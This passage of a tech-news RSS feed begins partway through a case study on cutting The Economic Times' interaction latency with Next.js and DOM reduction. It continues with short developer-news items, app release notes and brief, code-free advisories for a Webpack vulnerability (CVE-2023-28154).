https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/JLQfvWp1Fouc55Xbgy7X.png?auto=format&w=1424 1424w" width="712" />
</figure>
<p>We reduced the number of DOM nodes in two ways:</p>
<ul>
<li>First, we rendered our menu items at the user’s request (on click). It decreased the DOM size by around 1,200 nodes.</li>
<li>Second, we lazy loaded less important widgets.</li>
</ul>
<p>Because of all these efforts, we reduced TBT significantly, and our INP was reduced accordingly by almost 50%:</p>
<figure>
  <img alt="A screenshot of the INP audit in CrUX. The INP for the page is 539 milliseconds, which exceeds the &#x27;poor&#x27; threshold." decoding="async" height="216" loading="lazy" sizes="(min-width: 574px) 574px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/ojm0miY1lwoFqxZWnYVM.png?auto=format&w=1148 1148w" width="574" />
</figure>
<p>At this point, we nearly ran out of easy wins to further reduce TBT (and INP by proxy), but we knew we had a lot of room for improvement. This is when we decided to upgrade our custom-built UI boilerplate to the latest version of React along with <a href="https://nextjs.org/" rel="noopener">Next.js</a> to make better use of <a href="https://react.dev/reference/react" rel="noopener">hooks</a> to avoid unnecessary re-rendering of components.</p>
<p>Due to more frequent updates and comparatively lesser traffic as compared to the other portions of the website, we began to migrate our <a href="https://economictimes.indiatimes.com/topic/home" rel="noopener">topic pages</a> to Next.js. We also used <a href="https://partytown.builder.io/" rel="noopener">PartyTown</a> for offloading additional heavy main thread work to web workers, along with techniques like <code>requestIdleCallBack</code> for deferring non-critical tasks.</p>
<h2 id="how-has-improving-inp-helped-the-economic-times">How has improving INP helped The Economic Times? <a class="headline-link" href="https://web.dev/economic-times-inp/#how-has-improving-inp-helped-the-economic-times">#</a></h2>
<h3 id="current-tbt-and-inp-on-origin">Current TBT and INP on origin <a class="headline-link" href="https://web.dev/economic-times-inp/#current-tbt-and-inp-on-origin">#</a></h3>
<p>At the time of publishing this post, the TBT for our origin was 120 milliseconds, down from 3,260 milliseconds when we began our optimization efforts. Similarly, the INP for our origin was 257 milliseconds after our optimization efforts, down from over 1,000 milliseconds.</p>
<figure>
  <img alt="A screenshot of the INP audit in CrUX. The INP for the page is 257 milliseconds, which is within the &#x27;needs improvement&#x27; thresholds." decoding="async" height="218" loading="lazy" sizes="(min-width: 582px) 582px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6cMvebBQKG2nhyc1eYeB.png?auto=format&w=1164 1164w" width="582" />
</figure>
<h3 id="inp-crux-trend">INP CrUX trend <a class="headline-link" href="https://web.dev/economic-times-inp/#inp-crux-trend">#</a></h3>
<p>The traffic received on topic pages represents a significantly smaller portion of overall traffic. Hence, it was an ideal place for experimentation. The CrUX results along with the business outcomes were very encouraging, and led us to expand our efforts across the entire website to reap further benefits.</p>
<figure>
  <img alt="A screenshot of INP distributions as visualized in CrUX over a period of four months, starting in July 2022 and ending in October 2022. Values within the &#x27;poor&#x27; and &#x27;needs improvement&#x27; thresholds declined somewhat, while the values within the &#x27;good&#x27; threshold increased." decoding="async" height="190" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/pkPEYIQIeEDKdIKOCFSY.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h3 id="akamai-mpulse-tbt-analysis">Akamai mPulse TBT Analysis <a class="headline-link" href="https://web.dev/economic-times-inp/#akamai-mpulse-tbt-analysis">#</a></h3>
<p>We use <a href="https://www.akamai.com/products/mpulse-real-user-monitoring" rel="noopener">Akamai mPulse</a> as our RUM solution, which measures TBT in the field. We observed a consistent decrease in TBT, clearly mapping to the outcomes of our efforts to reduce INP. As can be seen in the screenshot below, TBT values eventually dropped from approximately 5 seconds in to around 200 milliseconds in the field.</p>
<figure>
  <img alt="A screenshot of a chart in Akamai mPulse, showing a decline in TBT over the course of roughly a month." decoding="async" height="118" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/eS3iIvNxEUhe19GGdDBG.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h2 id="business-outcome">Business outcome <a class="headline-link" href="https://web.dev/economic-times-inp/#business-outcome">#</a></h2>
<p>Overall, our efforts to bring down TBT by 30 times, along with migrating to Next.js helped us reduce INP nearly by 4 times, which eventually led to a <strong>50% decrease in bounce rate and 43% uplift in pageviews</strong> on topic pages.</p>
<figure>
  <img alt="A screenshot of Google Analytics comparing pageviews versus bounce rate. Because of the optimizations made to INP on The Economic Times website, a 50% decrease in bounce rate and a 43% increase in pageviews was realized." decoding="async" height="288" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/WOzP0OjtPV6rsjqbtbfe.png?auto=format&w=1600 1600w" width="800" />
</figure>
<h2 id="conclusion">Conclusion <a class="headline-link" href="https://web.dev/economic-times-inp/#conclusion">#</a></h2>
<p>To summarize, INP extensively helped to determine runtime performance issues on parts of the Economic Times website. It has proven to be one of the most effective metrics to positively impact business outcomes. Due to the very encouraging numbers we've observed as the result of this effort, we are motivated to scale our optimization efforts to other areas of our website and reap additional benefits.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GatsbyJS – Build Blazing Fast Websites [Part 1]]]></title>
<description><![CDATA[In the world of web development, there is a continuous search for tools and frameworks that can make the development process more efficient and the final product better. One such tool that has recently gained popularity is GatsbyJS, a modern static site generator that combines the best of React, ...]]></description>
<link>https://tsecurity.de/de/1886252/linux-tipps/gatsbyjs-build-blazing-fast-websites-part-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1886252/linux-tipps/gatsbyjs-build-blazing-fast-websites-part-1/</guid>
<pubDate>Wed, 24 May 2023 09:35:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the world of web development, there is a continuous search for tools and frameworks that can make the development process more efficient and the final product better. One such tool that has recently gained popularity is GatsbyJS, a modern static site generator that combines the best of React, Webpack, and GraphQL. GatsbyJS enables developers to create blazing-fast websites with rich features and excellent performance. On LinuxAndUbuntu, I am starting a series of articles to teach GatsbyJS. The series will cover various topics that will help any new users with basic understanding of React library to develop applications with GatsbyJS.…</p>
<p>The post <a rel="nofollow" href="https://www.linuxandubuntu.com/home/gatsbyjs-build-static-websites">GatsbyJS – Build Blazing Fast Websites [Part 1]</a> appeared first on <a rel="nofollow" href="https://www.linuxandubuntu.com/">LinuxAndUbuntu</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer Snapshots: Programmierer-News in ein, zwei Sätzen]]></title>
<description><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem Cargo, WildFly 28, Kubernetes, Graphics Shapes, Vite und das Windows Community Toolkit.]]></description>
<link>https://tsecurity.de/de/1875294/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1875294/it-nachrichten/developer-snapshots-programmierer-news-in-ein-zwei-saetzen/</guid>
<pubDate>Fri, 21 Apr 2023 16:51:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unsere Übersicht kleiner, interessanter Meldungen enthält unter anderem Cargo, WildFly 28, Kubernetes, Graphics Shapes, Vite und das Windows Community Toolkit.]]></content:encoded>
</item>
<item>
<title><![CDATA[UI-Tool: Storybook 7.0 erweitert den Support für Vite, Next.js und SvelteKit]]></title>
<description><![CDATA[Das Major Release erscheint mit einem überarbeiteten User Interface sowie umfangreicherem Support für das Build-Tool Vite.]]></description>
<link>https://tsecurity.de/de/1866061/it-nachrichten/ui-tool-storybook-70-erweitert-den-support-fuer-vite-nextjs-und-sveltekit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1866061/it-nachrichten/ui-tool-storybook-70-erweitert-den-support-fuer-vite-nextjs-und-sveltekit/</guid>
<pubDate>Fri, 14 Apr 2023 16:36:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Major Release erscheint mit einem überarbeiteten User Interface sowie umfangreicherem Support für das Build-Tool Vite.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-28154 | Webpack up to 5.75.x Magic Comment ImportParserPlugin.js access control]]></title>
<description><![CDATA[A vulnerability was found in Webpack up to 5.75.x. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file ImportParserPlugin.js of the component Magic Comment Handler. The manipulation leads to improper access controls.

This vulnerability is know...]]></description>
<link>https://tsecurity.de/de/1849111/sicherheitsluecken/cve-2023-28154-webpack-up-to-575x-magic-comment-importparserpluginjs-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1849111/sicherheitsluecken/cve-2023-28154-webpack-up-to-575x-magic-comment-importparserpluginjs-access-control/</guid>
<pubDate>Tue, 04 Apr 2023 15:11:09 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.webpack">Webpack up to 5.75.x</a>. It has been declared as <a href="https://vuldb.com/?kb.risk">critical</a>. Affected by this vulnerability is an unknown functionality of the file <em>ImportParserPlugin.js</em> of the component <em>Magic Comment Handler</em>. The manipulation leads to improper access controls.

This vulnerability is known as <a href="https://vuldb.com/?source_cve.222865">CVE-2023-28154</a>. Access to the local network is required for this attack to succeed. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mobile Entwicklung: Ionic 7 erhöht die Performance für Angular, React und Vue]]></title>
<description><![CDATA[Das Major Release des Open-Source-UI-Toolkits bringt Geschwindigkeitsvorteile für Angular-, React- und Vue-Apps. Daneben erweitert es die Vite-Kompatibilität.]]></description>
<link>https://tsecurity.de/de/1847787/it-nachrichten/mobile-entwicklung-ionic-7-erhoeht-die-performance-fuer-angular-react-und-vue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1847787/it-nachrichten/mobile-entwicklung-ionic-7-erhoeht-die-performance-fuer-angular-react-und-vue/</guid>
<pubDate>Mon, 03 Apr 2023 17:40:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Major Release des Open-Source-UI-Toolkits bringt Geschwindigkeitsvorteile für Angular-, React- und Vue-Apps. Daneben erweitert es die Vite-Kompatibilität.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-28154]]></title>
<description><![CDATA[Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object. (CVSS:0.0) (Last Update:2023-03-13)]]></description>
<link>https://tsecurity.de/de/1821690/sicherheitsluecken/cve-2023-28154/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1821690/sicherheitsluecken/cve-2023-28154/</guid>
<pubDate>Tue, 14 Mar 2023 00:05:34 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object. (CVSS:0.0) (Last Update:2023-03-13)]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-28154]]></title>
<description><![CDATA[Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.]]></description>
<link>https://tsecurity.de/de/1820484/sicherheitsluecken/cve-2023-28154/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1820484/sicherheitsluecken/cve-2023-28154/</guid>
<pubDate>Mon, 13 Mar 2023 06:20:51 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.]]></content:encoded>
</item>
<item>
<title><![CDATA[Comment récupérer des photos supprimées définitivement de l'iPhone 2022]]></title>
<description><![CDATA[Lorsque vous avez besoin de récupérer des photos supprimées que l'iPhone peut avoir perdues, vous pouvez vite perdre espoir, mais nous vous montrerons comment procéder.]]></description>
<link>https://tsecurity.de/de/1780416/ios-mac-os/comment-rcuprer-des-photos-supprimes-dfinitivement-de-liphone-2022/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1780416/ios-mac-os/comment-rcuprer-des-photos-supprimes-dfinitivement-de-liphone-2022/</guid>
<pubDate>Wed, 25 Jan 2023 15:31:06 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lorsque vous avez besoin de récupérer des photos supprimées que l'iPhone peut avoir perdues, vous pouvez vite perdre espoir, mais nous vous montrerons comment procéder.]]></content:encoded>
</item>
<item>
<title><![CDATA[WebCatalog 44.3.0 - Turn any web apps into native-like Mac apps.]]></title>
<description><![CDATA[WebCatalog lets you turn any web apps (websites) into native-like Mac apps (also called site-specific browsers). Now, with WebCatalog, you can launch your favorite apps quickly in self-contained, distraction-free windows. Each app's data is stored separately, protecting you from cross-website tra...]]></description>
<link>https://tsecurity.de/de/1750991/ios-mac-os/webcatalog-4430-turn-any-web-apps-into-native-like-mac-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1750991/ios-mac-os/webcatalog-4430-turn-any-web-apps-into-native-like-mac-apps/</guid>
<pubDate>Fri, 30 Dec 2022 15:01:05 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>WebCatalog</strong> lets you turn any web apps (websites) into native-like Mac apps (also called site-specific browsers). Now, with WebCatalog, you can launch your favorite apps quickly in self-contained, distraction-free windows. Each app's data is stored separately, protecting you from cross-website trackers and preserving your privacy.</p><br><br><ul><li>Show related files &amp; directories in app/space details page</li>
<li>Upgrade to .NET 6.0 to support AzureSignTool 4.x</li>
<li>Fix VBS directory path is not set safely in production</li>
<li>Fix wait-on gets stuck when using localhost</li>
<li>Use node@18</li>
<li>Add ESLint rule to prevent 'window' usage out of renderer</li>
<li>Separate dev server into render and Electron processes</li>
<li>Add ESC keyboard shortcut to exit app details page</li>
<li>Fix layout with right-to-left language on Windows &amp; macOS</li>
<li>Upgrade to webpack-cli@5.x</li>
<li>Upgrade to @webcatalog/electron-ipc-cat@1.5.0</li>
<li>Replace 'rxjs/operators' imports with 'rxjs'</li>
<li>Add eslint-import-resolver-typescript</li>
</ul><br><br><a href="https://www.macupdate.com/app/mac/61338/webcatalog">Download Now</a><img src="https://desktop.macupdate.com/api/620/discover/ttra" height="1" width="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Sqlectron 1.38.0 - SQL client desktop with cross database and platform support.]]></title>
<description><![CDATA[Sqlectron is a simple and lightweight SQL client desktop/terminal with cross database and platform support. 

It is an open source project and any kind of contribution is welcome.Features
Sign and notarize builds for macOS
Bugfixes
Fix bug where switching tab causes loss of editor focus (#68...]]></description>
<link>https://tsecurity.de/de/1730309/ios-mac-os/sqlectron-1380-sql-client-desktop-with-cross-database-and-platform-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1730309/ios-mac-os/sqlectron-1380-sql-client-desktop-with-cross-database-and-platform-support/</guid>
<pubDate>Tue, 13 Dec 2022 09:45:25 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>Sqlectron</strong> is a simple and lightweight SQL client desktop/terminal with cross database and platform support.</p> 

<p>It is an open source project and any kind of contribution is welcome.</p><br><br><h5>Features</h5>
<ul><li>Sign and notarize builds for macOS</li>
</ul><h5>Bugfixes</h5>
<ul><li>Fix bug where switching tab causes loss of editor focus (#687, #690) (thanks @synle)</li>
  <li>Fix clicking on link to docs from config modal</li>
</ul><h5>Dependencies</h5>
<ul><li>Update to sqlectron-db-core to 0.11.0 (includes update to underlying ssh library to support more protocols)</li>
  <li>Migrate from redux to @redux/toolkit</li>
  <li>Use regular lodash over per method installations</li>
